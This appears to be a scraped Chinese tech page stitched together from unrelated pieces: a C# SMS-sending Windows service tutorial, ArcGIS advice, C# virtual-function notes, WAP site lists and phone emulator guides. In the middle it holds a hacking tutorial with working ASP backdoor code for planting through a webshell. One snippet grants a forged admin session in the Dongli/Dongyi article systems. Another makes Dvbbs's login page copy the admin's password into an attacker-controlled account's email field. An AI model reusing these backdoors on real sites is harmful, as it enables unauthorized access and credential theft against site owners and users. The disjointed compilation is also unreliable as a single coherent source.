namespace SmsServer { public class SmsServer : System.ServiceProcess.ServiceBase { private System.Timers.Timer SmsTimer; private System.Diagnostics.EventLog eventLog1; public O2SMSXControl.O2SMSX SmsX1;//定义手机短信对象
/// <summary> /// Required designer variable. /// </summary> private System.ComponentModel.Container components = null;
public SmsServer() { // This call is required by the Windows.Forms Component Designer. InitializeComponent();
// TODO: Add any initialization after the InitComponent call }
// The main entry point for the process static void Main() { System.ServiceProcess.ServiceBase[] ServicesToRun;
// More than one user Service may run within the same process. To add // another service to this process, change the following line to // create a second service object. For example, // // ServicesToRun = New System.ServiceProcess.ServiceBase[] {new Service1(), new MySecondUserService()}; // ServicesToRun = new System.ServiceProcess.ServiceBase[] { new SmsServer() };
System.ServiceProcess.ServiceBase.Run(ServicesToRun); }
/// <summary> /// Required method for Designer support - do not modify /// the contents of this method with the code editor. /// </summary> private void InitializeComponent() { this.SmsTimer = new System.Timers.Timer(); this.eventLog1 = new System.Diagnostics.EventLog(); ((System.ComponentModel.ISupportInitialize)(this.SmsTimer)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.eventLog1)).BeginInit(); // // SmsTimer // this.SmsTimer.Enabled = true; this.SmsTimer.Elapsed += new System.Timers.ElapsedEventHandler(this.SmsTimer_Elapsed); // // SmsServer // this.ServiceName = "SmsServer"; ((System.ComponentModel.ISupportInitialize)(this.SmsTimer)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.eventLog1)).EndInit();
}
/// <summary> /// Clean up any resources being used. /// </summary> protected override void Dispose( bool disposing ) { if( disposing ) { if (components != null) { components.Dispose(); } } base.Dispose( disposing ); }
/// <summary> /// Set things in motion so your service can do its work. /// </summary> protected override void OnStart(string[] args) { // TODO: Add code here to start your service. //开始服务时初始化手机. SmsX1 = new O2SMSXControl.O2SMSXClass (); SmsX1.ConnectionMode = 0; //联线类型cable SmsX1.ComNumber = 1; //联接端口为com 1 SmsX1.Model = 0; //手机类型3210 SmsX1.Open (); //联接手机 SmsX1.SetSMSCNumber ("+8613800754500");//信息中心号码 }
/// <summary> /// Stop this service. /// </summary> protected override void OnStop() { // TODO: Add code here to perform any tear-down necessary to stop your service. SmsX1.Close (); }
private void SmsTimer_Elapsed(object sender, System.Timers.ElapsedEventArgs e) { //当f:\sms\data\filetosend有文件时,先关闭时钟,将其发送出去,并删除掉文件再启动时钟 this.SmsTimer.Enabled =false;
//目录对象 DirectoryInfo cd = new System.IO.DirectoryInfo("F:\\Sms\\Data\\FileToSend"); //数据库记录变量 string rsId; string rsPhoneNum; string rsSmsText;
string StrSql;
//首先,在当前目录中列举当前的所有SMS文件 foreach(FileInfo FileSend in cd.GetFiles ()) { try { //依次打开每个文件读取文件内容 FileStream fs = new FileStream (cd.FullName + "\\" + FileSend.Name ,FileMode.Open,FileAccess.Read ); StreamReader sr; sr = new StreamReader(fs,UnicodeEncoding.GetEncoding ("GB2312")); rsId = FileSend.Name .ToString (); rsId = rsId.Replace (".sms",""); rsId = rsId.Trim (); rsPhoneNum = sr.ReadLine (); rsPhoneNum = rsPhoneNum.Trim (); if (rsPhoneNum.Length >11) rsPhoneNum = rsPhoneNum.Substring (0,10); rsSmsText = sr.ReadToEnd(); rsSmsText = rsSmsText.Trim (); if (rsSmsText.Length >50) rsSmsText.Substring (0,49); fs.Close (); sr.Close ();
//发送短信息 SmsX1.SendUnicodeSMSMessage (rsPhoneNum.ToString (),rsSmsText.ToString (),6,false,"");
//备份并删除文件 FileSend.CopyTo ("F:\\Sms\\Data\\HadBeenSend\\" + FileSend.Name ,true); FileSend.Delete (); } catch(System.Exception E) { //出错写LOG文件 eventLog1.WriteEntry (E.Message.ToString ()); } } //重新启动时钟 this.SmsTimer.Enabled =true; } } } |
在 Server1.cs切换设计画面,在属性窗口下点击“Add Installer”,系统自动增加ProjectInstaller.cs文件,点击serviceInstaller1,设置“Server Name”设置为“SmsServer”,点击“serviceProcessInstaller1”,设置Account为“LocalSystem”。
选择菜单“生成”中的“生成SmsServer”,改正可能有的错误。进行DOS命令行,进行项目目录的\bin\debug目录下,执行“installutil SmsServer”,如果找不到installutil程序,就先Path一下。这时,在管理工具的“服务”下可以找到“SmsServer”服务了。启动该服务。这里默认源为目录F:\Sms\Data\FileToSend,如果这个目录有.SMS文件,就读取其第一行为发送的手机号码,第二行到文本结束为短信息内容,然后发送短信息,再将文本备份到F:\Sms\Data\HadBeenSend\。
让我们再回头看一下Server1.cs中的代码。首先在命令空间要增加“using System.IO; using System.Text ; ”方便处理文件及文本对象,在命名类时
public class SmsServer : System.ServiceProcess.ServiceBase { private System.Timers.Timer SmsTimer; private System.Diagnostics.EventLog eventLog1; public O2SMSXControl.O2SMSX SmsX1;//定义手机短信对象 ...... 引用Oxygen控件中的定义SmsX1对象,然后在启动服务时初始化手机对象 protected override void OnStart(string[] args) { // TODO: Add code here to start your service. //开始服务时初始化手机. SmsX1 = new O2SMSXControl.O2SMSXClass (); SmsX1.ConnectionMode = 0; //联线类型cable SmsX1.ComNumber = 1; //联接端口为com 1 SmsX1.Model = 0; //手机类型3210 SmsX1.Open (); //联接手机 SmsX1.SetSMSCNumber ("+8613800754500");//信息中心号码 } |
其中要注意的是要初始化信息中心号码,如果不初始化,经常有发不去的情况。然后当时钟触发时要注意先将时钟关掉,再列举当前目录中的.SMS文件,逐一发送出去,再将时钟打开,同时在读文件时,要注意文件的编码 “sr=new StreamReader(fs,UnicodeEncoding.GetEncoding ("GB2312"));”采用GB2312编码读取才不会读出乱码出来,最后发送信息即可,“SmsX1.SendUnicodeSMSMessage (rsPhoneNum.ToString (),rsSmsText.ToString (),6,false,""); ”其中各个参数的含义可以参照Oxygen的帮助。最后在服务停止时释放短信息对象“SmsX1.Close ();” 如果出错,则写出错服务LOG文件“eventLog1.WriteEntry (E.Message.ToString ());”这样,在Windows的“事件查看器”就可以看到出错的信息了。
但是这里有个小小的遗憾,通过OCX控件发出的短信息前面有一串该网站的英文,但是注册版不会有这串字,注册“只需”¥399就可以了。
引 http://www.yesky.com/20020927/1632827.shtml
session欺骗篇 首先简单说一下一般asp系统的身份验证原理。一般来说,后台管理员在登录页面输入账号密码后,程序会拿着他提交的用户名密码去数据库的管理员表里面找,如果有这个人的账号密码就认为你是管理员,然后给你一个表示你身份的session值。或者程序先把你的用户名密码提取出来,然后到数据库的管理员表里面取出管理员的账号密码来和你提交的相比较,如果相等,就跟上面一样给你个表示你身份的sesion值。然后你进入任何一个管理页面它都要首先验证你的session值,如果是管理员就让你通过,不是的话就引导你回到登录页面或者出现一些奇奇怪怪的警告,这些都跟程序员的个人喜好有关。
知道了原理,我们现在的一个思路就是通过我们的asp木马来修改它的程序然后拿到一个管理员session,这样的话尽管我们没有管理员密码,但是我们一样在后台通行无阻了。我把这种方法称为session欺骗。限于篇幅不能每个系统都能详细说明,本文仅以动力文章系统为例来说明。 其实动力文章系统的所有版本全部通杀,包括动易。大家可以自己实践一下。
我们先来看一下它的验证内容。动力文章3.51的验证页面在Admin_ChkLogin.asp
,其验证内容如下:
............
else
rs("LastLoginIP")=Request.ServerVariables("REMOTE_ADDR")
rs("LastLoginTime")=now()
rs("LoginTimes")=rs("LoginTimes")+1
rs.update
session.Timeout=SessionTimeout
session("AdminName")=rs("username")
rs.close
set rs=nothing
call CloseConn()
Response.Redirect "Admin_Index.asp"
前面省略号是用户名密码不正确的验证,直到else,看一下,如果用户名密码正确就给你两个session值:
session.Timeout=SessionTimeout
session("AdminName")=rs("username")
我们在看一下其他管理页面是怎么验证session的,admin_index.asp一开始就这样:
看起来似乎很严密,但是我们看一下,它这里值验证一个AdminName的session,只要我们的session内容是 AdminName的话不就可以通过了?好,我们开工,先去弄到它的管理员账号再说,这个不要我教你了吧?到他网站逛一下或者直接一点下载它的数据库来看都可以知道。我们找个页面来改一下,我找一个比较没人而内容较多的页面FriendSite.asp(友情链接页面)来改,呵呵,这样管理员也很难查得出来啊。用asp木马的编辑功能来编辑一下它的内容。在他页面下隐蔽处加上下面几句话:
dim id
id=trim(request("qwe"))
if id="120" then
session("AdminName")="admin" ‘这里是假设的,实际操作中可以改成你想要得管理员账号
end if
我简单说一下这句话的意思,就是说从地址栏取得hehe的值,如果hehe=120的话,那么系统就给我们一个值为admin的 session。好了,我们输入看一下,看到有什么异常吗,没有吧?还是正常页面,但是我们接着在地址栏中输入它的后台管理首页看看,是不是进去了? 呵呵,别做坏事哦............
小结一下:我们先找到弄到管理员账号,然后找到它的验证页面,根据它的验证内容来写入我们要的后门。不同的系统有不同的验证方式,比如青创文章系统它不但要验证你的用户名还要验证等级,但是我们总体思路还是一样,就是他验证什么我们就加入什么。
密码窃探篇
可以说上述方法在动网论坛或者其他论坛面前是苍白无力的,因为一般论坛由于交互性较强,所以在验证上考虑了很多。以动网为例,你要登录后台,他先验证你有没有先登录了前台,没有的话就给你返回一个错误页面。你登录前台后系统会给你一个seession来记录你的CacheName和你的ID,然后在你登录后台的时候拿出来比较你前后台身份是否一致,一直就通过,否则kill,面对这样严格的验证,难道我们就没有办法基后台了吗?对,没有了(谁拿鸡蛋扔我?这么浪费。),但是我们可以想新的办法,既然验证这么严格,那么我如果拿着密码光明正大的进去呢?因此,这里一个新的思路就是拿到它的明文密码。什么时候有明文密码呢?对了,就在管理员登录的时候。好,我们就在那里做手脚,把它登录的密码发给我们,然后我们拿和它的密码去登录。呵呵,是不是很像sniffer啊?在下在前几个月刚和好兄弟潜龙在野利用硬件sniffer配合省网安局的人端掉一个非法电影网站,足足4000G的硬盘,几十台服务器,一个字:爽
好了,我们开始修改它的程序。编辑login.asp,加入以下几句话:
if not isnull(trim(request("username"))) then
if request("username")="admin" then
sql="update [Dv_Vser] set UserEmail=(select userpassword from
[Dv_User]
where username='"& request("username")&"') where
UserName='aweige'"
conn.execute(sql)
end if
end if
这几句话的意思就是说如果admin(假设的,实际操作中改为你要的管理员名字)登录成功就更新数据库,把他的密码放到我资料的E-mail中。当然,你必须先在论坛里注册一个用户名。 还有,如果是动网7.0以下的默认数据库admin表名和7.0以上有点不一样,所以实际操作中不可生搬硬套。
后记:
对于以上两种方法直到目前为止我还想不出任何比较有效的解决方法,因为你的网站被人家放了马,你根本就没办法去阻止人家去插入,要是谁有好的解决方法记得告诉我。
另外,希望大家不要去搞破坏,那时我真的不愿看到的,也祝所有的网管们好运,希望你们不会碰上craker们。
系统配置建议 |
|
 |
|
|
由于 ESRI 公司的 ArcGIS 系列产品采用的是全面的、可伸缩集成的体系结构,从低端到高端具有良好的扩充性,提供的是一个可伸缩扩展的解决方案。用户可以综合考虑技术条件、现阶段应用需求、配套资金等诸多因素,选择当前的配置方案;随着功能需求和资金投入的增加,再逐步进行系统完善。这样,系统构建可以统筹规划、分布实施,从整体上具有极大的延展性和灵活性,并且可以充分地保护用户的前期投资和前期工作,保证系统可持续发展。
基于水利行业的应用需求及业务特点,可以采用客户 / 服务器( Client/Server )和浏览器 / 服务器( Browser/Server )相结合的方式,将系统建成资源共享、又可灵活扩展的实用的 GIS 系统。
服务器端:
在服务器端,将通过 ArcInfo 导入的海量数据(包括图形数据、属性数据,以及影像栅格数据等)统一存放在大型数据库中,用 ArcSDE 进行管理;然后借助 ArcIMS 在 Internet/Intranet 上发布数据。
客户端基本模块:
因为各水利部门工作分工不同,对水文数据的应用程度也不同,本着资源共享和合理投资的原则,建议客户端可根据不同需求,配置不同层次的软件:
对于只需简单浏览、查询的科室,基于 B/S 模式,客户端机器上无需安装 GIS 软件,用通用的 IE 浏览器查看 ArcIMS 发布的数据即可;
对于要一定查询、分析功能,但不需要高级的空间处理功能和对空间数据库进行数据维护(即对 Geodatabase 进行写操作)的部门,均可考虑采用 ArcView 作为其应用平台。
ArcEditor 和 ArcInfo 适合安装在对系统进行维护、对数据进行更新的部门,因为 ArcEditor 可对 Geodatabase 空间数据进行交互编辑,主要面向那些对空间数据交互编辑具有特别需求的客户端。而 ArcInfo 在 ArcEditor 基础上又增加了强大的空间处理功能,增加了对计算机辅助软件工程( CASE )工具的支持,可以方便、同时也是工程化地对空间数据模型进行定义和扩展。
ArcView 、 ArcEditor 的操作界面、开发环境、底层 COM 对象等与高端的 ArcInfo 完全一致,因此,各客户端所使用的操作界面都一样,经过二次开发的应用系统也可以通用在不同功能级别的软件上。这样,有利于不同使用级别用户的统一培训,更有利于系统的进一步扩展。
客户端扩展模块:
ArcGIS 的一些专业分析算法以及一些数据处理的功能集成在不同的扩展模块中。对于以上客户端,也可以根据具体需求,从 ArcGIS 的十多个扩展模块中选择需要的来使用。
用于系统客户端的 ArcGIS 桌面软件,包括了功能递增的核心模块和十余种扩展模块,这样的体系结构让用户在选择时可以“量体裁衣”,保证了软件配置的科学性和合理性,在满足所有技术需求的同时,有效地保证了资金的合理利用。
应用系统开发:
有些水利用户应用 GIS 不仅是将其当作分析、处理数据的工具,及进行部分功能的定制;而且还需要经过系统的二次开发,结合业务应用构建成部门内部甚至跨部门的应用系统。除了通过 WebGIS 软件构建 B/S 系统外,基于 C/S 模式,客户端可采用控件开发工具来开发应用系统,如:用 MapObjects ( MO ),或 ArcGIS Engine ;
与 MapObjects ( MO )相比, ArcGIS Engine 的特点如下:
- 基于 ArcObjects ( AO ),可以全部覆盖 MO 的功能,并且大大超越;
- 由于将 spatial 、 3D 的 AO 打包成 Engine option ,可以完成相关分析功能;
- 支持读写 Geodatabase ,可以应用拓扑等数据操作规则;
- 跨平台,支持 COM 、 .NET 、 JAVA 、 C++ 开发;
- 支持 SDE 中的栅格数据;
- 与 ArcGIS 其它产品拥有共同的底层对象库 -AO ,所以方便系统扩展和系统移植。
|
C#中虛函數,抽象,接口的簡單説明 |
虛函數:由virtual聲明,它允許在派生類中被重寫,要重寫方法,必須先聲名為virtual public class myclass { public virtual int myint() { 函數体; } } class myclass1:myclass { public override int myint() { 函數体1; } }
抽象類、抽象函數:由abstract聲明,在抽象類中可以定義抽象方法,抽象方法基本沒有執行代碼,派生類必須重寫它,提供其執行代碼 public abstract class myclass { public abstract int myint(); } public class myclass1:myclass { public override int myint() { 函數体; } }
接口類:由interface聲明,是特殊的抽象類,是方法、屬性、事件和索引符的組合,沒有字段,其成員無執行方式,無構造函數,不允許進行運算符重載,接口和它的成員沒有任何訪問修飾符,它總是公共的,不能聲明為虛擬或靜態,繼承自接口的派生類必須實現接口中的所有方法 interface Imyinterface { void myfunction(); string name { get; set; } } class myclass:Imyinterface { void myfunction() { 函數体; } string name { get { return name; } set { name=value; } } } C++和C#构造函数的区别
(1)C++ 不允许在一个构造函数中调用另外一个构造函数(称为委派构造函数调用),而 C# 则允许。例如: C++: |
|
struct Point { public: int X, Y; Point(int x, int y); Point(Point pt) : Point(pt.X, pt.Y) { } // 错误,C++ 不允许 }; |
C#:
|
struct Point { public int X, Y; public Point(int x, int y); public Point(Point pt) : Point(pt.X, pt.Y) { } // 可以,C# 允许 }; |
委派构造函数调用语法上非常自然和易懂,因此你也许会质疑 C++ 不提供它是不是故意给程序员添麻烦。事实上,C++ 不提供这一特性并不是出于语法上的考虑,而是出于资源管理的考虑(噢,这样的事情对 C++ 来说还有很多很多)。
我们知道,C++ 的构造函数用于分配资源,而析构函数用于释放资源,构造函数和析构函数调用必须匹配,否则就打破了 C++ 的基本规则。
如果允许委派构造函数调用,则显然会打破这一规则——构造函数被执行两次,而析构函数只执行一次。当然,对一些类,例如前面的那个 Point 来说这不是个问题,但是从语言机制的角度讲这个特性可能属于“危险”的特性。注:在最新的 C++ 标准提议草案中,Herb 等人有一个关于允许委派构造函数调用的提案,当然这很大程度上是为了方便 C++/CLI 绑定。
(2)在 C++ 构造函数中,虚函数调用会被编译器自动转为普通函数调用,而在 C# 构造函数中允许进行虚函数调用。C++ 这样处理自然有它的原因——在 C++ 中,构造函数执行完成后对象才初始化好,对于多态对象来说,也就意味着构造函数在背后执行了很重要的一件事情——初始化对象的虚函数表。
如果我们在基类的构造函数中调用了虚函数,则因为此时对象的虚函数表仍旧是基类的虚函数表,所以无法进行正确的虚函数调用。也就是这个原因,通常我们应该避免在构造函数中调用虚函数,因为它违背了虚函数的语义。而在 C# 中,在对象的构造函数执行之前对象的类型信息就已经初始化好了,所以可以进行正常的虚函数调用。 虚函数的另类解释
虚拟函数(virtual) 使用面向对象的开发过程就是在不断的抽象事物的过程,我们的目标就是抽象出一个紧内聚,低偶合,易于维护和扩展的模型.但是在抽象过程中我们会发现很多事物的特征不清楚,或者很容易发生变动,怎么办呢?比如飞禽都有飞这个动作,但是对于不同的鸟类它的飞的动作动方式是不同的,有的要滑行,有的要颤抖翅膀,虽然都是飞但千差万别,在我们抽象的模型中不可能一个个都考虑到,怎么为以后留下好的扩展,怎么来处理子类的前差万别?比如我现在又要抽象一个类"鹤",它也有飞禽的特征,我可以简单的继承"飞禽",而不去修改现有的代码,可以很容易的扩展系统 面向对象的概念中引入了虚拟函数. 就是在父类中把子类中共同的,易于变化或者不清楚的特征抽取出来,作为子类需要去重新实现的操作(override),我们可以称做"热点".还是上面的例子 class 飞禽 { private void Shape ; //注意private访问修订符,Shape是不会被子类继承的! public string Wing ; //翅膀 public string Feather ; //羽毛 public virtual boolean Fly() {} ; //飞翔. 定义的虚拟函数, 这是一个热点 } class 麻雀 : 飞禽 //麻雀从飞禽继承而来 { public boolean CanSpeaking; //申明了麻雀自己的特征. public override boolean Fly() {...} ; //重载飞翔动作,实现自己的飞翔 }
class 鹤 : 飞禽 //鹤从飞禽继承而来 { public override void Fly() {...} ; //重载实现鹤的飞翔 } //如何来使用虚拟函数,这里同时也是一个多态的例子. //打鸟 void ShootBird(Bird : 飞禽) //注意这里申明传入一个"飞禽"类,而不是具体的"鸟类". 好处是以后不管出现多少种鸟类,只要是从飞禽继承下来的,都照打不误:) { if( Bird.fly()) { .... 开始打鸟... ... } } static void main() { //打麻雀 ShootBird( new 麻雀()); //打鹤 ShootBird( new 鹤()); //看到没!都是打鸟的过程,我这里可以实现打任何一种鸟了,添加一行代码而不去修改代码 ShootBird( new 其它的飞禽()); ShootBird( ...); } -------------------------------------------- 虚拟函数的的执行过程: 虚拟函数从C#的程序编译的角度来看,它和其它一般的函数有什么区别呢?一般 函数在编译期间就静态的编译到了执行文件中,在程序运行期间是不发生变化的,也就是写死了!而虚拟函数在编译期间是不被静态编译的,它是不确定的,它会根据运行时期对象实例来动态判断要调用的函数,其中那个申明时定义的类叫申明类,那个执行时实例化的类叫实例类.具体的检查的流程如下: a.当调用一个对象的函数时,系统会去检查这个对象申明定义的类,即申明类 b.然后它更据这个申明类型的定义去检查这个函数是否虚拟函数 c.如果有virtual关键字,他就认为是虚拟函数,这个时候他又去检查实例类. d.好!找到这个实例类后,他再检查这个实例类定义中是否重新实现了虚拟函数(通过override),如果是!好了他就不再找了,马上执行它. e.如果没有,系统又往上层父类找实例类的父类,直到找到一个最近重载了该虚拟函数的父类为止,然后执行该函数. 呵呵,知道这点有什么用呢?搞清楚这个老师的bt题目就可以拿下了. 还是来个简单例子说明问题 class A { protected virtual FuncA() {Console.WriteLine("FuncA")} ;//注意virtual,表明这是一个虚拟函数 }
class B :A //注意 B是从A类继承,所以A是父类,B是子类 { protected override FuncA(){Console.WriteLine("FuncB")} ; //注意override ,表明重新实现了虚拟函数 }
static void main() { A a ; //定义一个a这个A类对象.这个A就是a的申明类 A b ; //定义一个b这个A类的对象.这个A就是b的申明类 a = new A() ; //实例化a对象,A是这次实例类 a.FuncA() ; //开始执行FuncA. 1.先照申明类A 2.检查是虚拟方法 3.检查实例类A 4.执行实例类中的方法 5输出结果 FuncA b = new B(); //实例化b对象,B是这次实例类 b.FuncA() ; //开始执行FuncA. 1.先照申明类A 2.检查是虚拟方法 3.检查实例类B 4.执行实例类中的方法 5输出结果 FuncB }
WAP风云榜7月榜单与6月榜单变化较大,主要表现在个人主页服务站点和门户站点的快速发展。 独立WAP站点经过1年半的发展,总量已经达到2万个,目前进入爆炸式增长期。WAP风云榜完全名单如下(按拼音排序),请用手机登录waproot.com浏览。 五星级站点:3G门户,Joyes,WAP帝国,邦邦网,当乐网,乐讯,搜狐,新浪,移动博客,掌景无限 四星级站点:91WAP联盟,E聚网,GAME1313,GoodFeel,Imobile,QQ,Sogou,SoWAP,WAP天下,WAP中国,WaWa,百度,彩风,电媒音乐网,动感网址大全,风风网,枫叶飘零原创文学网,狗GO娱乐,空中传媒,乐酷,卖坏梨,拇哈网,手机加油站,手机泡泡吧,玩玩网,网典,逍遥在线,小城网事,小虎在线,雅虎中国 三星级站点:2288,10GAMER,21cn,3G同志梦网,DoDo娱乐,eLong,Gowap手机乐园,Q之森林,TOM,WAP114,WAP666,WAP99,WAPLM联盟,WAP乐园,WAP在线,阿保精品,百乐苑,比分在线,彩客帝国,彩蛙网,第E媒体,动影图铃秀,非常地带,轰天雷在线,快乐传说,狂野WAP站,蓝蓝游,蓝联盟,联迅酷网,临海之家,梦想国度,免费资源网,蘑菇,千龙新闻,情色空间,人众网,时尚手册,手机风彩网,手机乐园,手机灵通网,手机天堂,天空图铃,玩转手机网,网易,我行我酷,我要地图,我住七楼,无线网居,香港自由行,星空娱乐网,烟花如梦,阳光无限,易通无线,意大利华人网,永恒之星,娱乐全方位,杂志频道,掌中万网,掌中娱乐风向标,致富通 WAP风云榜7月榜单分析 1)个人主页飞速膨胀:WAP帝国和乐讯个人主页提供的服务积累了大量个人用户,主站的服务也可圈可点。其中乐讯的个人站点之一“小城网事”是WAPROOT搜索联盟监测到的流量最大的个人站点。 搜索联盟网址如下: WWW网址:http://waproot.com/psearch/webjsp/searchCode.htm WAP网址:http://waproot.com/psearch/searchCode.wml 2)大中型SP加强独立WAP站点建设:移动梦网和互动视界的WAP收入减缓或下滑,大中型SP纷纷发布独立WAP站点,例如空中网最近发布了Cota.cn,互联网门户Sina,Sohu和Yahoo也纷纷加强独立WAP站点的建设
免费WAP网站 |
|
1、搜狐: http://wap.sohu.com2、MOZONE: http://272523.mozone.cn(完全免费。注意:是“cn”,不是“com”) 3、棒棒网: http://wap.81088.com(完全免费) 4、网易:wap.163.com 5、21CN:wap.21cn.com 6、证券之星:wap.stockstar.com 7、移动博客:wap.pdx.cn (完全免费) 8、新浪网:wap.sina.com.cn 9、91wap联盟:wap.91wap.net(完全免费) 易趣wap.eachnet.com:提供专门的WAP服务器,作为唯一的拍卖网站代表加入摩托罗拉网站联盟,建立网上专卖店。 电商wap.toecom.com:以丰富的商品信息为核心,商务及旅行信息为切入点,购物、新闻。 wap.byecity.com :ByeCitity 信息,旅游新闻,旅游手册,旅行团在线预定。 www(wap).cwap.com.cn
随身网是国内最早提供无线中文信息服务的互联网站之一。它的无线网站为广大移动通讯用户提供以财经资讯为特点的各种电子商务服务,每天24小时为用户提供大量动态实时的综合信息及旅行、娱乐、电子邮件等随身服务,更为会员提供个性化的各种定制,以满足不同用户的专项需求。与此同时,作为移动服务的扩展和支持,它的WEB网站为用户提供了更加广泛和深入的服务,使移动服务和传统网站成为一个有机的整体。 随身网最具特色的“个性随心定制”栏目,为你打造个性空间。查阅证券市场概况,了解上市公司动态,浏览大势综述,实时追踪个股。随心设制手机首页、定制地址本、链接移动邮件使你每次登录该网站,即可获得最需要的资讯信息。 掌门网 www(wap).byair.com 针对移动用户上网对实时、实地以及移动交易类服务的需求,掌门网在国内同时50余个城市(包括全部省会城市)的地方信息。自开通以来,掌门网处理无线的交互式信息服务4000余万次,无线股票交易笔数超过40万笔。 自WAP登陆中国以来,掌门网与多个国内主要的移动运营商进行了深层合作,分别在广东、上海等地推出了WAP炒股、SMS炒股、掌门移动城市生活、掌门金融股票世界等栏目,掌门网开发的其他掌上商务应用还包括掌上银行、掌上购物、价格比较等。据系统统计,自WAP在六城市开通商用试验以来,掌门网的WAP访问量始终占到总访问量的60%左右。 网易 www(wap).163.com wap.163.com就是为移动上网用户提供互联网信息服务的网站。用户可以在此网站得到很多网络信息。主要包括:新闻、个人服务(收发E-mail等)、股票查询、航班查询、天气查询、旅游信息、影视信息、本日星运、邮编区号、热线连接、打折信息、工具箱。 WAP之家 www(wap).wapzhijia.com WAP之家是WAP的专业站点。主要栏目有WAP最新动态、简介、WAP技术园地、论坛、WAP手机、资源下载等。其中WAP技术园地中详细列出WAP体系结构、协议层等专业内容,对专业人士来说有一定意义。 phone.com www(wap).phone.com 该网站是WAP论坛四个发起人之一,且是惟一的一家网络企业。另三家摩托罗拉、诺基亚、爱立信是我们熟悉的电信企业。该网站是英文网站,对中国用户实用性不大,但作为WAP网站的鼻祖值得我们了解。网站的内容并不算丰富,包括新闻、公司介绍、WAP手机产品介绍、WAP方案介绍、WAP发展等,可提供的服务有日程管理、电子邮件服务、移动银行等。 阿里巴巴 www(wap).alibaba.com.cn 这是一个纯商业的网站,是一个给商人开的网站。这对目前的WAP手机用户群中大多的商务人士来说,是个适宜的网站。它有以商会友、商业新闻、行业分类、商业机会搜索、样品库、公司库、注册会员等几个栏目,其中行业分类包括建材、通讯、电脑、汽车、家电等30多个大类的名录。它与摩托罗拉公司合作开发提供WAP手机所需的符合该网站本身特色的内容。 掌上通 www(wap).wapdm.com 基于WEB的网站有自由世界、新品橱窗、美容街、WAP简介、PDA频道、百宝箱、论坛等栏目。主要是围绕手机的个性化服务而展开的。基于WAP网站主要栏目和服务包括:掌上通邮、掌上游戏、股票行情、掌上通航、外汇行情等。可为手机用户直接提供的商业服务有:实时的股票行情和交易、航班信息查询、订票、外汇牌价、在移动商城直接购物、无线银行理财、代缴各种费用等及各大城市天气预报和标题新闻等。 灵通网 www(wap).linktone.com 该网站是传统互联网和移动互联网合二为一。主要栏目包括:灵通俱乐部、时事焦点、本地指南、掌上乐趣、灵通搜索、即时财经、无线商城、百宝锦囊等,可提供的服务有商务查询、旅游交通信息、电子邮局、股市信息、娱乐信息、气象服务等等。 其它WAP网站: 新浪网:www(wap).sina.com 搜狐网:www(wap).sohu.com.cn 中国移动通信集团WAP站点: wap.chnmobile.com 掌中网:www(wap).handweb.yeah.net 掌上网:www(wap).airwap.com 掌中万维:www(wap).newpalm.com 移动商务网:www(wap).ebwap.com 新通讯:www(wap).5comm.com 魔拜尔:www.yesmobile.com 中华网:wap.china.com 脉搏网:wap.mweb.com 蛙仆网:www.168wap.com 梦想热讯:wap.dreamer.com.cn 西岸网讯:www.walkatch.com |
游戏模拟器相信大家都不会陌生,关于模拟器简单的说就是在一个软件平台上执行原本需要硬件才可以运行的游戏。就是因为这样,PC机上的各种游戏模拟器让众多玩家体会了像PS2、NGC以及街机等不同游戏机上的各种游戏。甚至有些玩家在PPC上也大玩特玩游戏模拟器,其受欢迎程度由此可见一斑。也许大家不知道,其实在使用Symbian操作系统的手机上也可以安装游戏模拟器,而且游戏模拟的效果同样非常出色,完全可以与PC模拟器相媲美!你也想在你的手机上玩模拟器游戏吗?那就请你跟随笔者一起进入手机游戏模拟器的阅兵式。
由于目前大多Symbian手机用户使用的都是Series 60平台(例如诺基亚的Symbian手机系列),所以本文将着重介绍Series 60平台的游戏模拟器。在Series 60平台下可以都可以模拟哪些类型的游戏呢?由于手机主频、屏幕大小、储存空间和游戏的资源以及游戏的可开发性等问题的限制,现在可以在手机上正常模拟的游戏种类分别有:GB/GBC、MD、FC、MSX、Spectrum、MAME,以及正在神秘开发中的GBA模拟器。
手机模拟器中最流行也是模拟程度最好的分别是GB/GBC、MD、FC这三个系列的手机模拟器。其中模拟GB/GBC有“GOBOY”和“GAMEPHONE”两款手机模拟器,模拟MD有“picodrives60”手机模拟器,模拟FC有“YewNes”手机模拟器。这些手机模拟器的模拟程度已经达到完美的效果,而且游戏速度非常流畅。下面我们就对这几款手机模拟器一一点将。 一、GOBOY (下载地址 http://www.wildpalm.co.uk/GoBoy7650.html)
GOBOY是一款非常出色的模拟器,它的出现让大家对手机模拟器有了实际的概念。而且也是GOBOY引领了手机模拟器先河,凭着它近乎完美的模拟效果以及顺畅的运行速度,也奠定了它在手机模拟器中元老级位置。目前,GOBOY模拟器的最高版本是1.4,并且还有一个1.4版的PLUS插件,只有安装了PLUS插件才可以支持游戏发音。
GB/GBC游戏ROM的具体安装方法:
1、首先安装GB平台的两个SIS文件(GOBOY_SERIES60_14.SIS和GOBOY_PLUS_SERIES60_14.SIS)到储存卡上。 2、当GOBOY模拟器安装完毕后,软件会自动在储存卡的根目录下生成一个名为“GOBOY”的空文件夹,这个文件夹就是专门用来存放游戏ROM的目录。 3、在PC上将游戏ROM(*.GBC)进行压缩,压缩后的文件为*.ZIP格式。 4、通过红外、蓝牙、读卡器等方法,把*.ZIP文件复制到文件夹下就可以了。
GOBOY的操作方法: 选择一个游戏ROM后打开它就开始进入游戏画面了。
 
如果想要在游戏中设置相关参数,按手机键盘上的“C”键,这样就可以进入GOBOY模拟器的设置菜单。点击“自选游戏按键”可以自行设定游戏控制键。除此之外,在游戏过程中最好关闭“游戏音效”,原因一是费电,原因二是声音效果欠佳,原因三是影响游戏运行速度。另外在游戏中需要特别注意的是:游戏中有虽然有存档的功能,但只能临时进行保存,当退出GOBOY程序以后,保存内容会自动消失。如果需要保存游戏进度,按手机键盘上的“C”键,然后选择“游戏存档”,GOBOY会将游戏节点保存下来。

二、无线掌机(GamePhone)
无线掌机是由北京天行远景科技发展有限公司开发的游戏模拟器,目前可以支持GB,GBC格式的游戏ROM。这款模拟器在很多方面超过了GOBOY模拟器,比如在线下载和上传功能,以及音量调节功能等,是GOBOY模拟器的有力竞争者。
无线掌机的下载和使用: 1、下载 首先确认手机开通了GPRS服务。在Wap服务项目中新建一个书签,地址为wap.81088.com。然后访问这个地址,进入天行远景公司免费WAP网站wap.81088.com的首页。点击无线掌机进入频道首页,选择‘免费下载’。 基于当时的网络传输速度,通常需要等待一段时间手机才能完成下载, 随后即进入安装过程。
 
